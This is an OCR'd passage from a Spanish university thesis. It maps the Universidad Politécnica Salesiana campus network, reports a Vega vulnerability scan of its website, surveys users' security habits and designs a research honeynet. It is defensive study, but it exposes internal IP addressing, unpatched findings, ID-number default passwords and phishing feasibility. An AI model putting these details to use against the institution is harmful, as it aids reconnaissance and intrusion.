
detallan las direcciones de cada dispositivo y aplicaciones o servicios de la topologia

ilustrada en la figura anterior.

Routers

El router del proveedor de servicios CNT posee la IP Address: 187.10.4.68, una méascara
de red de 255.255.255.0 y su Gateway es: 186.10.3.1/24.

El router de la empresa TELCONET posee la IP Address: 187.10.4.68, una mascara de
red de 255.255.255.0 y su Gateway es la: 187.10.4.1/24.

Servidores

En el campus sur de la sede Quito de la Universidad se tienen los siguientes servicios

Active Directory: Establecido en el equipo IBM SYSTEM X335 M2. Este
servicio tiene la IP Address: 172.17.33.1, la submascara es la: 255.255.255.0 y su
puerta de enlace es la 172.17.33.10.

F-Secure Server: Este servidor estd establecido en el equipo IBM SYSTEM
X335 M2 en una maquina virtual. El equipo de la marca IBM (fisica) tiene la IP
Address: 172.17.33.4, la submaéscara de red es: 255.255.255.0 y el Gateway tiene
la direccion: 172.17.33.10.

El server con el antivirus se establece con la direccion IP: 172.17.33.5, con una
submaéscara de: 255.255.255.0, con una puerta de enlace de: 172.17.33.4

Proxy: El servidor proxy esta instalado en el equipo IBM SYSTEM X335 M2
puesto en funcionamiento con una direccion IP: 172.17.33.10, con una
submascara de red: 255.255.255.0 y su puerta de enlace es la 186.10.3.120.

File Server: Este servicio se encuentra instalado en el equipo IBM SYSTEM
X335 M2. Tiene la siguiente direccion IP: 172.17.33.3, con una submaéscara de
red de: 255.255.255.0 y la direccion de la puerta de enlace es: 172.17.33.10.
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o WLAN Controller

Este equipo se utiliza para dirigir o controlar todos los Access Point y antenas Wi-Fi
externas que estan en las diferentes partes del campus Sur de la Universidad. A este
equipo se le ha asignado la siguiente IP Address: 172.17.133.253, posee una sub
mascara de red de: 255.255.255.0 y la direccion de Gateway es la: 186.10.3.1.

Al estar conectados todos los access points y las antenas externas al controlador de redes
LAN inaldmbricas, estas se comportaran como repetidoras por lo que tendran las
configuraciones y todas las redes inalambricas que se establezcan en el dispositivo

controlador.
Las redes inalambricas administradas por el controlador se listan a continuacion:

e WLAN-UPS-DOCENTES: Es la red LAN inalambrica asignada a los educadores.
Esta en el rango de direcciones que inicia con: 172.17.131.0, con una méscara de:
255.255.254.0 y su Gateway es la: 172.17.131.254.

e WLAN-UPS-ADMUIOS: Es la red LAN inaldmbrica asignada para el personal
administrativo de la Universidad. Estd en el rango de direcciones IP que inicia
con: 172.17.34.0, con una mascara de 255.255.255.0 y su puerta de enlace o
Gateway es la: 172.17.34.254.

e WLAN-ESTUDIANTES: Es la red LAN inaldmbrica asignada a los estudiantes.
Su rango de direcciones IP se encuentra en: 172.17.49.0 con una mascara de red
de: 255.255.254.0 y su Gateway con la direccion: 172.17.49.254.

e WLAN-CIMA: Es la red LAN inalambrica asignada para el Centro de
Investigacion en Modelamiento Ambiental o CIMA. El rango de direcciones
usado es el: 172.17.128.0, posee una méascara de red de 255.255.255.192 y su
Gateway es la: 172.17.128.62.

e WLC-BIBLIOTECA: Usada por los dispositivos de alquiler que se encuentren en
la biblioteca. Se configura el WLAN Controller para que la SSID de este enlace
LAN inaldmbrico permanezca oculto. Su rango de direcciones IP se encuentra en:
172.17.41.0 con una mascara de red de: 255.255.255.192 y su Gateway con la
direccion: 172.17.41.126. Lo anteriormente descrito, se visualiza en la Tabla 2.1.
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Tabla 2.1. Direccionamiento de las Redes LAN Inaldmbricas

NOMBRE DE RED RANGO DE MASCARADE PUERTADE | PROXY
(SSID) DIRECCIONES IP RED ENLACE
(GATEWAY)
WLAN-UPS- 172.17.131.0 255.255.254.0 172.17.131.254 | 172.17.33.10
DOCENTES
WLAN-UPS- 172.17.340 255.255.255.0 172.17.34.254 172.17.33.10
ADMUIOS
WLAN-UPS- 172.17.49.0 255.255.254.0 172.17.49.254 172.17.33.10
ESTUDIANTES
WLAN-CIMA 172.17.128.0 255.255.255.192 172.17.128.62 172.17.33.10
WLAN- 172.17.41.0 255.255.255.192 172.17.41.126 172.17.33.10
BIBLIOTECA

Fuente:(Mena & Jara, 2013)

Nota: Elaborado por Dennis Carcelén, Carlos Rios

2.2.2 Servicios Web de la Universidad

La Universidad Politécnica Salesiana Sede Quito Campus Sur usa los siguientes

servicios y aplicaciones:

e Correo Electronico Institucional
La institucion cuenta con el servicio de correo electrénico para el cual utiliza el servicio
de datos prestado por la Compafiia Nacional de Telecomunicaciones CNT. Este servicio

es dado a través de Microsoft Exchange Server.

e F-Secure
Este antivirus se encuentra puesto en funcionamiento en una maquina virtual dispuesta

en VMWare que se distribuye a toda la disposicion del campus.
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e Péagina Web Institucional

Esta pagina es la tarjeta de presentacion de la Universidad. Es administrada desde la
Sede de la Universidad ubicada en Cuenca, Campus “El Vecino”. Este servicio usa las
prestaciones dadas por la empresa TELCONET y brinda beneficios tanto para alumnos,
docentes, aspirantes y publico en general. EI dominio de la pagina estd dado por:

www.ups.edu.ec.

o Servicios Académicos y Financieros

La sede cuenta también gestiona los siguientes servicios:

e AVAC: Es el Ambiente Virtual de Aprendizaje Cooperativo de la Universidad
Politécnica Salesiana. Es usado por los estudiantes y docentes de la Universidad,
para la realizacion de tareas, retroalimentaciones de los profesores acerca de estas,
informacion sobre calificaciones, noticias, etc. También para el uso de foros
estudiantiles. Esta basado en Oracle.

o SNA: Es el Sistema de Nacional Académico y se usa por parte del personal
docente y administrativo, para el registro y acceso de la informacion académica y
detalles de los estudiantes.

e SIGAC: Es el medio de contabilidad para el registro de abonos, pagos,
retribuciones y demas que se hace por parte de todo el personal de la Universidad.
Su uso se remite Unicamente al personal administrativo.

e SQUAD: Usado para el registro del talento humano que labora en la Universidad.

Todos estos servicios usan las prestaciones de la Corporacion Nacional de
Telecomunicaciones o CNT, los cuales hacen que el campus Sur se enlace con el

Campus Girdn y estos tengan comunicacion con la Sede ubicada en Cuenca.

El servicio de Internet usa las prestaciones del proveedor de servicios TELCONET, el
cual esta dado por medio de un servidor Proxy ubicado en el Campus Central de la
Universidad en la sede Quito, el cual es el Campus Gir6n. Se gestiona este servicio

desde el campus Sur a través de una conexion basada en SSH.
El resumen de todos los servicios listados, se puede visualizar en la Tabla 2.2.
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Tabla 2.2. Servicios Web de la Universidad

SERVICIO

DESCRIPCION

GRUPO DE INTERES

PAGINA WEB

Informacion General de la
Universidad. Brinda acceso a
servicios como el AVAC, etc.

Estudiantes, Educadores,
Administrativos y CIMA

F-SECURE

Servicio de Antivirus con
actualizaciones periddicas via
web

Estudiantes, Educadores,
Administrativos y CIMA

CORREO INSTITUCIONAL

Correo Electrénico por medio de
Microsoft Exchange

Educadores, Administrativos y
CIMA

AVAC

Sistema de Aulas Virtuales

Estudiantes, Educadores,
Administrativos y CIMA 'y
publico en general

SNA

Historial Académico e
informacién general estudiantil

Educadores, Administrativos

SIGAC

Sistema contable con registro de
pagos y transacciones
monetarias.

Personal Administrativo

SQUAD

Informacion sobre talento
Humano docente y
administrativo de la Universidad

Personal Administrativo

INTERNET

Servicios Web y VoIP

Estudiantes, Docentes,
Administrativos y CIMA

Fuente:(Mena & Jara, 2013)

Nota: Elaborado por Dennis Carcelén, Carlos Rios
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2.2.3 Seguridades

En el Regulador de Wireless Cisco se encuentran configurados dos protocolos que

proporcionan seguridad a los enlaces inalambricos dentro del campus:

e Protocolo LWAPP

Es el Protocolo Ligero para Puntos de Acceso, que es usado para centralizar el manejo
de un conjunto de puntos de acceso en una red WLAN, trayendo una serie de beneficios
entre el que destaca el ahorro del tiempo de gestion y supervision de los puntos de

acceso.

e Protocolo CAPWAP

El Protocolo de Control y Aprovisionamiento de Puntos de Acceso Inalambricos, es un
protocolo que se basa en su antecesor LWAPP, que ademas de ser estandar, es
interoperable, lo que quiere decir que se puede intercambiar informacion y utilizar dicha
informacion entre sistemas, sin ningun impedimento. Permite asi, el manejo vy

administracion de los Access Points de una red WLAN.

Los usuarios de la red de Administracion, CIMA, docentes y Estudiantes tienen acceso
mediante la autenticacion por portal cautivo.

e Firewall

La seguridad a profundidad con la que cuenta la institucion consta de un firewall ASA
(Adaptive Security Appliance) de cisco ademas de una lista de control de acceso o ACL.
e Grupo de Interés

El campus Sur cuenta con casi 4000 usuarios, en cuanto al grupo de interés, por cuanto
se realiza ademéas una caracterizacion en el capitulo 3 del pseudo-perfil de estos

usuarios, para determinar su comportamiento y uso de la red de la Institucion.
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CAPITULO 3

DISENO E IMPLEMENTACION

3.1 Auditoria para la identificacion de las vulnerabilidades en los servicios web de
la Universidad Politécnica Salesiana

Con el fin del conocimiento del estado, en cuanto a integridad y disponibilidad, de los

servicios web prestados en la red de la institucion, se realiza la auditoria de las

aplicaciones instituciones como son su pagina oficial y el Ambiente Virtual de

Aprendizaje Cooperativo AVAC.

Con este proceso y la informacion obtenida se puede proponer los procedimientos

correctos a realizar para la debida correccion de los errores encontrados.

e Herramienta utilizada para la auditoria

Al investigar sobre las herramientas de escaneo de vulnerabilidades, se encontré que
Vega es una de las mejores, dado que al ser automatizada, permite al pentester
(Penetration Tester) o auditor de seguridad, hallar las falencias en los codigos
ejecutados en las aplicaciones web, ejecutandola en su modo de escaneo, presentado una
interfaz GUI muy instintiva. Ademas de esto, esta herramienta es de codigo abierto y

multiplataforma, anteponiéndose a las mecanismos de pago o comerciales.

Vega también permite, en su modo proxy, la intercepcion de paquetes. Si se requiere
visualizar el grado de riesgo que implica para la aplicacion web, poseer una
vulnerabilidad, Vega informa sobre este hecho, presentando las vulnerabilidades

obtenidas con un nivel de criticidad, para su correcto y oportuno tratamiento.

Para hacer un correcto uso de esta herramienta, se debe tener en cuenta que el analisis
que se debe realizar después de la obtencion de los datos, debe ser minucioso debido a

los posibles falsos positivos que se pudieran presentar.
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e Procedimiento

La auditoria del sitio web de la Universidad Politécnica Salesiana, se la realiza en la
herramienta Vega, escribiendo el nombre de dominio de la pagina ups.edu.ec o su URL,
cuando ya se haya seleccionado la opcion de Start New Scan en la interfaz GUI de Vega,

como se muestra en la Figura 3.1.

Interfaz de usuario de Vega
@ Scanner £ Proxy
B} wabsite View = B || scan Info =B
®
Scan Alert Summary

(@ 5can Alerts 7 B =08

(1]

(1]

[+]

i ]

s Identities 53 3 =B
- oa Brawy i< nnt ninnina ]

Figura 3.1. Interfaz GUI de la Herramienta de Auditoria Web Vega
Elaborado por: Dennis Carcelén y Carlos Rios

¢ Resultados obtenidos en la Auditoria Web

En la Figura 3.2. se observa que en la direccion web de la universidad existen problemas
de alto riesgo, pero también de mediano riesgo, que necesitan tratamiento oportuno para

evitar el comprometimiento por parte de un intruso en la red.
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Auditoria web a la Universidad Politécnica Salesiana

- @ ups.edu.ec -
3 @ virtual.ups.edu.ec |:\ VEGA
3 @ www.ups.edu.ec
- @
@
@
- @
- @ Scan Alert Summary
- @
- @
’ g Il O High 1 found)
Session Cookie Without Secure Flag 1
) Scan Alerts =hal=]
» () 11/22/2016 23:46:45 [Completed] (12) O Medium ¢ found)
4 ©® 1panas d Local Filesystem Paths Found 1
46
4 i) High 0
% Session Cookie Without Secure Flag (/)

> {5 Medium Q Info 3 found)

3 i JUCTE) News Feed Detected 1
» (© 11/20/2016 21:41:27 [Cancelled] (504) Possible AJAX code detected 1

Interesting Meta Tags Detected 1

Figura 3.2. Resultados obtenidos de la Auditoria realizada a la aplicacion web de la UPS

Elaborado por: Dennis Carcelén y Carlos Rios

La mayor vulnerabilidad captada por la herramienta utilizada, es una de tipo Session
Cookie Without Secure Flag (Cookie de Sesidén Sin Bandera Segura). Este tipo de
riesgos exponen a la red a escuchas externas. Al ser dichas cookies credenciales de
autenticacion, los atacantes que los obtengan pueden obtener acceso no autorizado a las
aplicaciones web que se encuentren afectadas. En la Figura 3.3. se muestra el resultado

de esta auditoria.

Vulnerabilidad de Alto Riesgo Detectada

Session Cookie Without Secure Flag

P AT A GLANCE
Classification Information
Resource I
Risk [High|

Figura 3.3. Vulnerabilidad de Alto Riesgo Sujeta a Analisis

Elaborado por: Dennis Carcelén y Carlos Rios
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Al analizar la peticion que se realiz6 para obtener el registro de vulnerabilidad, se
encontr6 la linea de codigo en la que se encontraria el problema y a la cual se debera

apuntar la posible solucion. Lo descrito se observa en la Figura 3.4.

Anélisis de riesgos encontrados en el sitio web de la Universidad

Politécnica Salesiana

QRO
B Requests B2¥
D Host Method  Request Status  Length Time ...
374 http://www.ups.ed... GET /documents/available_languages.jspfbrowserld=other&the.. 404 42258 365
375 http://www.ups.ed.. GET /documents/available_languages.jspibrowserlld=other8ithe., 404 42566 360
376 http:/fwww.ups.ed...  GET /documents/available_languages.jsp?browserld=otherfithe.. 404 42248 383
n http://www.ups.ed.. GET /documents/available_languages.jsp?browserld=other&the.. 404 42350 415
378 hitp:/fuvaowups.ed. GET /ups_portal-theme/css/main.css?browserld=other&ithemeld... 200 75082 127
l; http://www.ups.ed.. GET / 200 210229 02 |
e Tvrualups e GET Tpresencianey o0 TE070 )
381 http://virtual.ups.e..  GET /presencialdd/lib/javascript.php/ 500 0 125
382 http://virtual.ups.e...  GET /presencialdd/theme/javascript.php/ 500 0 732
383 http:/Avirtualups.e..  GET /presenciald9/lib/javascript.php/1474041824/ 200 0 218

1 r

= 5 -

Request Response
0K
1 Mov 2016 03:45:55 GMT
he
ype-Options: nesniff
tions: SAMEORIGIN
o]

|SESSIONID=15A29BD210E3A2653C62DD6406DEEEBD workerf; Path=/; HttpOnl

o = = =TT UG iy H = i
|l: Liferay Portal Community Edition 6.2 CE GA2 (Newton / Build 6201 / March 20, 2014)
COOKIE_SUPPORT=true; Expires=Fri, 06-Jul-2063 06:28:03 GMT; Path=/; HttpOnly
close

oding: chunked

1 text/html;charset=UTF-3

html=> <html class="aui ltr" dir="ltr" lang="es-ES"> <head> <title> Universidad Politécnica Salesiana - UPS< /title> <meta name="google-site-veri
ent="initial-scale=1.0, width=device-width" name="viewport" /> <meta name="description” content="Portal Web de la Universidad Polit&eacute

toacuten cient&iacute;fica”> Emeta name="Author’ content="portalups.edu.ec”> < meta name="Subject”

Figura 3.4. Analisis de la vulnerabilidad de alto Riesgo encontrada

Elaborado por: Dennis Carcelén y Carlos Rios

Para la remediacion de este error es conveniente que al crear el cookie en el cédigo se

establezca el indicador seguro en true.

En la Figura 3.5. se puede visualizar que se ha encontrado ademéas una posible ruta
absoluta del sistema de archivos locales (Local Filesystem Paths). Este tipo de
vulnerabilidad se considera de medio riesgo y se describen como informacion sensible
porque al realizarse una intrusion, el atacante puede conocer cosas sobre el entorno del
servidor. Esta de brecha de seguridad aumentaria la probabilidad de éxito para los

atacantes que no conocen el entorno previamente.
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Las salidas de errores deben ser redireccionadas hacia un registro de errores, y ya que
contienen las rutas completas, los administradores y desarrolladores del sistema deben

proceder con su analisis correspondiente.

Anédlisis de riesgos encontrados en el sitio web de la Universidad

Politécnica Salesiana

Local Filesystem Paths Found

P AT A GLANCE

Resource !

Classification Information
Risk

Figura 3.5. Analisis de la vulnerabilidad de riesgo medio encontrada

Elaborado por: Dennis Carcelén y Carlos Rios

3.1.1 Problemética

En la Universidad Politécnica Salesiana, Campus Sur, actualmente se trabaja con
seguridades a profundidad para la proteccion de la informacion. Sin embargo, no consta
con un mecanismo disefiado especialmente para deteccion del comportamiento de
usuarios malintencionados o usuarios con habitos inadecuados que pudieran tener algln
nivel de acceso o0 uso autorizado a la red y en base a eso explotar alguna vulnerabilidad y
comprometer la informacion. Adicionalmente no se tiene un escenario aislado y
controlado para realizar pruebas de penetracion avanzadas y hacking ético que permita
poner en practica nuevas habilidades y competencias sin poner en riesgo la integridad de
la red.

e Obtencion del Pseudo-Perfil de usuario de los servicios web de la UPS, Sede
Quito-Campus Sur

Dado que los ataques a la seguridad de la informacion han tenido un crecimiento del

38% con cada afio, y este aumento involucra tanto frecuencia, severidad e impacto, las

organizaciones poseen métodos cada vez menos efectivos para mitigar, prevenir y

detectar dichos ataques; se ha procedido, como parte del disefio propuesto, a realizar

una descripcion del perfil de los usuarios de la red de la UPS, con la presentacion de
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datos acerca de los habitos y conocimientos sobre la seguridad de la informacion, que
poseen dichos usuarios en el uso cotidiano de los servicios web prestados por la
institucion.

Se realizan una serie de preguntas a una muestra de 400 individuos del grupo objetivo,

para conseguir este fin.

En la Figura 3.6. se demuestra que el 74,3% de los encuestados no posee conocimientos
acerca del concepto de BYOD (Bring Your Own Device) y que tampoco tiene una
correcta préactica referente al aseguramiento de sus datos si se conectan a una red que en
teoria es desconocida. Solamente el 25,7%, del mismo grupo encuestado, parece tener

interés palpable en que sus datos no sean comprometidos.

Concepto de BYOD

P1. ¢ Sabias que BYOD significa traer su propia tecnologia (Bring Your Own Device), y que simplemente es la
practica de dejar a los estudiantes y personal de la UPS traer sus propios dispositivos tecnolégicos a la institucion
para usarlos de manera educacional o investigativa?

®Si
® No

Figura 3.6. Diagrama de pastel de usuarios con conocimientos sobre las politicas BYOD

Elaborado por: Dennis Carcelén, Carlos Rios

La siguiente pregunta realizada tiene relacién con los habitos de almacenamiento de
datos. En la Figura 3.7. se observa que el grupo objetivo, tomando en cuenta la muestra
encuestada va teniendo cada vez mas conocimiento y preferencia por el almacenamiento
en la nube. El 86,7% utiliza este tipo servicios, a diferencia de un reducido 6,7% que aun

usa dispositivos de almacenamiento extraible. Esto es debido a que los dispositivos mas
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empleados en la jornada diaria, ofrece servicios de carga de datos automaética hacia la
nube, por lo que los usuarios pueden acceder a sus documentos e informacion desde

cualquier parte y usando cualquier otro dispositivo.

Servicios de almacenamiento de informacién en la nube

P2. ;Utilizas servicios de almacenamiento de datos basados en la nube (es decir, en programas como OneDrive,
Dropbox, etc), en lugar de guardar tus documentos en una pendrive o en dispositivos elctrénicos de tu propiedad?

@S
® No
@ No estoy seguro

Figura 3.7. Diagrama de pastel sobre usuarios que utilizan almacenamiento en la nube

Elaborado por: Dennis Carcelén, Carlos Rios

Existe un muy buen numero de usuarios (diecinueve) que aseguran que la cyber-
seguridad tiene como su principal beneficio la deteccion de anomalias en la redes de la
institucion, seguido de que ayuda en la comprensién de las amenazas externas que

pudieran comprometer la informacion.

Se deja un poco de lado la conciencia de que los usuarios, influyen en las amenazas que
pueden suscitarse en la seguridad de la informacion con solo siete usuarios que piensan
gue con la mejor comprension de ese comportamiento, se mejoraria la cyber-seguridad

de la institucién. En la Figura 3.8. se puede observar lo descrito en esta parte.
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Beneficios de la cyber-seguridad

P3. ¢Cuales crees que son los beneficios de la cyberseguridad?

2 I Conteo

10

Mejor comprension de  Mejor comprension de  Mejor comprension de  Mayor facilidad para No hay beneficios
las amenazas las amenazas nuestro la deteccion de
exiernas a la UPS internas de la UPS comportamiento como anomalias en las
usuarios de los redes de la UPS
servicios de la UPS

0

Figura 3.8. Diagrama de barras sobre usuarios que consideran que la cyber-seguridad
conlleva beneficios

Elaborado por: Dennis Carcelén, Carlos Rios

Entre las malas précticas en contra de la seguridad de la informacidn, se encuentra el uso
de contrasefias débiles y féciles de obtener. En uno de los servicios web ofertados en la
institucion, la clave por defecto es el nimero de cedula de identidad del usuario y como
se cree que la informacion ofertada en este ambiente no es de mucho interés para un
atacante, estas contrasefias muchas veces no son cambiadas. En la Figura 3.9. se observa

que el 60% de los encuestados sigue usando su clave por defecto.
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Contrasefas débiles

P4. ;Haz cambiado alguna vez la contrasefia de ingreso para los servicios web de la UPS (como la del AVAC, por
ejemplo)?

®si
@® No

Figura 3.9. Diagrama de pastel sobre usuarios que tienen contrasefias débiles
en sus servicios web institucionales

Elaborado por: Dennis Carcelén, Carlos Rios

Entre los delitos informéaticos méas comunes hoy en dia, se encuentra el Phising, el cual
consiste en la suplantacion de la identidad informatica de una identidad para poder
adquirir informacién confidencial de los usuarios. Con la clonacién de la pagina de la
institucion se pudo demostrar que hacer spoofing de este servicio es plenamente viable,
por lo que adquirir datos de los usuarios puede ser muy factible. Teniendo esto en
cuenta, se puede notar que los encuestados tienen una buena educacién en cuanto a esta
posible amenaza, visualizando en la Figura 3.10 que el 46,7% siempre revisa que la
URL de la institucion sea la correcta, el 36,7% se fija a menudo en este detalle y solo el
16,7% nunca lo hace, sin querer decir con esto que el porcentaje de personas que nunca

lo revisan sea bajo.
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Verificacion de sitios oficiales

P5. Al ingresar a los servicios web de la Universidad (www.ups.edu.ec), ¢ Te fijas que sea la pagina oficial?

@ Siempre
@ Aveces
@ Nunca

Figura 3.10. Diagrama de pastel sobre los usuarios que verifican que la

URL a la que desean ingresar, es la correcta.

Elaborado por: Dennis Carcelén, Carlos Rios

La mayoria de personas encuestadas estdn conscientes de que las amenazas y las
vulnerabilidades en el mundo digital son muy variadas y de varios tipos, por lo que el
66,7% considera que no tiene conocimiento pleno sobre este tema. En la Figura 3.11. se

puede observar los datos obtenidos sobre esta pregunta.

Conocimiento sobre los riesgos en la seguridad de la informacion.

P6. ¢Entiend: I ite las y vul bilidades del mundo digital?

®si
@ No

Figura 3.11. Diagrama de pastel sobre usuarios que conocen a plenitud los riesgos
existentes en la red.

Elaborado por: Dennis Carcelén, Carlos Rios
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A nivel de la institucién, sale a relucir, en la Figura 3.12., el desconocimiento por parte
de los usuarios, sobre los mecanismos, herramientas, practicas y proyectos que se dan
para mejorar la seguridad de los datos que se manejan dentro de la red de la UPS.
Apenas el 13,3% de los encuestados conoce sobre este caso. Por lo que se puede prever
que el 86,7% asume que sus datos estdn seguros y que de alguna manera no se

encuentran comprometidos en la red.

Anélisis de riesgos informaticos institucionales

P7. ¢ Tienes conocimiento sobre si se han hecho analisis necesarios para i como las
informaticas afectan a la UPS?

@ Si
@® No

Figura 3.12. Diagrama de pastel sobre el conocimiento de los
usuarios sobre las practicas institucionales en contra de los usos

malintencionados de la red

Elaborado por: Dennis Carcelén, Carlos Rios

En cuanto a las amenazas y vulnerabilidades que los usuarios consideran que van en
aumento, y que se considera que podrian causar una brecha en la seguridad de la
informacidn, se destacan las que tienen relacion con el uso de las redes sociales y con la
insercion de malware en la red institucional. Se puede notar con esto que los usuarios
tienen facil acceso al contenido en redes sociales dentro del campus y que son
conscientes de que ellos como usuarios tienen todavia mal uso de la red universitaria
dado que deberia ser usada para fines educativos y de investigacién preferencialmente.

En la Figura 3.13. se ilustra lo descrito.
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Riesgos crecientes en la red de la UPS

P8. ;Cuales crees que sean las amenazas y vulnerabilidades que han aumentado la exposicion a riesgos en los
ultimos 12 meses en la UPS?

20 I Conteo

& o) of
(\@60 280 20 s o
3o o o @ o Az
o oe° GLE\ar_, ae®® NO\)\\ \)r,o'a‘\ C,\“"'@ - Pt o

Figura 3.13. Diagrama de barras sobre el conocimiento de diferentes tipos de riesgos que pudieran

presentar los servicios web institucionales

Elaborado por: Dennis Carcelén, Carlos Rios

3.2 Recoleccién de datos en la Honeynet

La recoleccion de los datos por parte de la Honeynet en la Universidad Politécnica
Salesiana Sede Quito, Campus Sur, permite poder tomar acciones pertinentes y en
tiempos muy oportunos para brindar una mayor seguridad a los servicios web de la
entidad. Ademas se puede tener acceso al prototipo Honeynet para propdésitos
investigativos contra amenazas recientemente creadas por lo que se considera realmente
adecuado utilizar la arquitectura de tercera generacién o Genlll para aprovechar las

herramientas de control, analisis y captura de los datos que se logren obtener.

3.3 Disefio de la Honeynet

Para proceder a realizar el disefio de la Honeynet se debe tomar en cuenta el nivel de
interaccion que se requiere obtener con el intruso, considerando que para conseguir una
alta interaccion se debe montar los servicios en sistemas operativos reales y no en

virtuales.
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3.3.1 Comparativa entre honeypot de alta interaccion (sistema operativo real) y
honeypot de media interaccion (software)

Para la correcta seleccion del tipo de honeynet a implementarse, se compara mediante
pruebas, las ventajas y falencias que tienen los honeypots de media interaccion, frente a

los honeypots de alta interaccion.
e Media interaccion

El Honeypot de media interaccion usado para esta comparativa es Honeydrive. Cabe
mencionar que HoneyDrive no es una honeypot en si, se trata de una distribucion que
puede ejecutarse utilizando el software de virtualizacion VirtualBox y que ofrece una
gran cantidad de herramientas de despliegue de honeypots, con la posibilidad de emular
muchos sistemas y servicios.

Gracias a Honeydrive el usuario puede centrarse en el despliegue de herramientas sin
tener que profundizar en su instalacion previa. Se puede descargar la distribucién desde
http://sourceforge.net/projects/honeydrive/ de forma totalmente gratuita (Castafio,
2014).

e Sesidn remota con SSH

Establecimiento de sesion via SSH

R PuTTY Configuration H

Categary:
= Session Basic options for your PuTTY session

Specify the destination you want to connect to

Host Name (or IP address) Fort
Bel 152.168.151 2
Features Connection type:

- Window (O Raw  (OTelnet (C)Rlogin @ SSH (O Serial

i Appearance

Behaviour
Translation Saved Sessions

Load, save or delete a stored session

Selection
i Colous Defaut Settings Load
= Connection
Data
Prosy
Telnet Delete
Rlogin
1 S5H
Serial

Save

Close window on exi: _
)Mways () Mever  (® Onlyon clean axt

Figura 3.14. Establecimiento de sesién hacia el honeypot

de media interaccion via SSH con PUTTY

Elaborado por: Dennis Carcelén, Carlos Rios
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Al iniciar una sesién mediante conexion remota en ssh (secure shell), como se muestra
en la Figura 3.14. y en la Figura 3.15., en un honeypot de mediana interaccion, el fin de
este es recopilar los intentos de inicios de sesion y mostrar las estadisticas de las
combinaciones de usuario y contrasefia mas utilizadas para evitar el uso de estas en

servidores pertenecientes a produccion.

El honeypot registra paso a paso todas las instrucciones ejecutadas en el Shell para ser

estudiadas a futuro.

Establecimiento de sesion via SSH

I 192.168.151 - PuTTY -0

Figura 3.15. Inicio de sesion en PUTTY para la realizacion de la conexion via SSH

Elaborado por: Dennis Carcelén, Carlos Rios

En caso de un ingreso exitoso, dado por un ataque de fuerza bruta o similar, el honeypot
interactla con el atacante y retorna mensajes de manera que este no sospeche que no se
encuentra frente al control de una terminar ilegitima. En este punto surge la desventaja
dada por la limitacion del script, ya que las respuestas que se encuentran programadas en

lenguaje Python dentro del programa son limitadas, ademas no se trata de un emulador.

En la Figura 3.16., se muestran los resultados obtenidos de los intentos de registro

mediante el uso de nombres de usuario y contrasefia.
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Top 10 de intentos de ingreso al honeypot

. Powsrad by
Libchart

Top 10 usemame-password combinations

14% 0% B root/salesiana

rivers/Ikj
rivers/honeydrive
riversiclea

W rivers/carlos

29%
B root/hola

Figura 3.16. Top 10 de claves y nombres de usuario para intentar acceder al
honeypot

Elaborado por: Dennis Carcelén, Carlos Rios

Fallos en la peticion de la version del servidor OpenSSH

s 192.168.1.51 - PuTTY

Figura 3.17. Fallo en la peticion de la version del servidor OpenSSH

Elaborado por: Dennis Carcelén, Carlos Rios

En la Figura 3.17. se puede apreciar que el script omite la opcion -V, la cual deberia
proporcionar de retorno la version del servidor OpenSSH que esta corriendo y en la cual
se tiene iniciada una sesion. Al contrario, interpreta la instruccion como un nuevo inicio
de sesion remoto hacia otro host. Ademas omite la respuesta negativa que se le

proporciona a la pregunta de si se desea continuar con la conexion.
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. Alta Interaccion

A diferencia del honeypot de media interaccion, en este caso se dispone de un terminal
real, de esta manera no solo se dispondra de respuestas prefabricadas a los comandos

proporcionados en el Shell.

. Sesion remota con SSH

La dificultad de pasar de un programa medianamente interactivo a un sistema operativo
real radica en la forma de captacion de la actividad del presunto atacante, por lo que es
necesario recurrir a la implementacion de un keylogger que reemplace al programa de

registro de actividad.

Verificacién mediante peticion de la version del servidor OpenSSH

H ©-

e rivers@mail:~

41

2016 from 192.168.1

Figura 3.18. Verificacion mediante peticion de la version del servidor OpenSSH

Elaborado por: Dennis Carcelén, Carlos Rios

En la Figura 3.18., se puede apreciar el inicio satisfactorio de un acceso remoto en el
cual registra la hora de entrada al sistema operativo real. Resultado que en comparacion
con los honeypots de mediana interaccion no se obtiene, de la misma forma se puede

verificar la versién del servicio.
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Verificacion mediante peticion de inicio de sesion del servidor OpenSSH

e rivers@mail:~

Figura 3.19. Verificacion mediante peticion de inicio de sesidn del servidor OpenSSH

Elaborado por: Dennis Carcelén, Carlos Rios

En la Figura 3.19., se puede observar que ahora los comandos responden de acuerdo a lo
esperado al intentar acceder a iniciar otra sesién a otro host, no asi en el caso de un
honeypot de mediana interaccién que solo devuelve la respuesta mas cercana segun
encuentre entre sus lineas de programacion, lo que lo convierte en un riesgo para su

deteccion de acuerdo al grado de experticia del atacante.

Con esta experiencia, se decide optar por el disefio de una Honeynet de alta interaccion
para el correcto aprovechamiento de sus herramientas. La Honeynet se disefia con el fin
de asegurar el mayor grado de interaccién por parte de los usuarios de la red, lo cual
permitira recopilar una gran cantidad de informacion valida, que servira para realizar los
respectivos analisis aplicando las herramientas que posee la arquitectura Honeynet

descrita en el capitulo 1.

Adicionalmente se debe mencionar, que las Honeynets de tercera generacion ofrecen
muy buenas herramientas para la administracion de la informacién con el fin de detectar
las amenazas y ataques que pudieran darse y gracias a que en la arquitectura, la
distribucion de los honeypots se da de manera centralizada, se puede tener escalabilidad
0 adaptabilidad a los posibles cambios en la infraestructura que pudieran presentarse a

futuro.
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o Disposicion y Uso de Honeywall

La interfaz web Walleye de las Honeynets de tercera generacion, permite observar las
actividades elaboradas por los intrusos en la red de informacion de manera grafica, con
la previa configuracion de los criterios para el control y andlisis de datos en el

Honeywall.

Con este componente se hace una buena generacion de los logs o reportes requeridos y
sirve de apoyo para la realizacion de estrategias para la prevencion de nuevas intrusiones
malintencionadas en la red de la UPS debido a que permite la generacion de usuarios y
conjuntos de usuarios que deban trabajar en la administracion y monitoreo de las

actividades que se realicen en la Honeynet desde algun sitio en la red dentro del campus.

La centralizacion de los mensajes y registros obtenidos en la Honeynet es de mucha
utilidad en la arquitectura que se desea implementar, para tener una gran facilidad de
administracion de la informacion generada. El equipo central puede vincularse a la red
local de la UPS.

En el presente trabajo de titulacion se utiliza la virtualizacion como respuesta al

problema planteado por las siguientes razones:

= Lareduccion de los costos de desarrollo e implementacion
= La facilidad de traslado de los equipos y la facil vinculacion con la red de la
UPS.

Por dichos motivos, se ha considerado que la mejor opcidn para la implementacion del

presente trabajo, es la arquitectura denominada como Honeynet virtual auto-contenida.

o Disposicion y uso de los Honeypots

En esta arquitectura, se tiene como minimo dos maquinas virtuales contenidas en una
maquina fisica, para el despliegue en la primera de un honeypot y de la segunda del
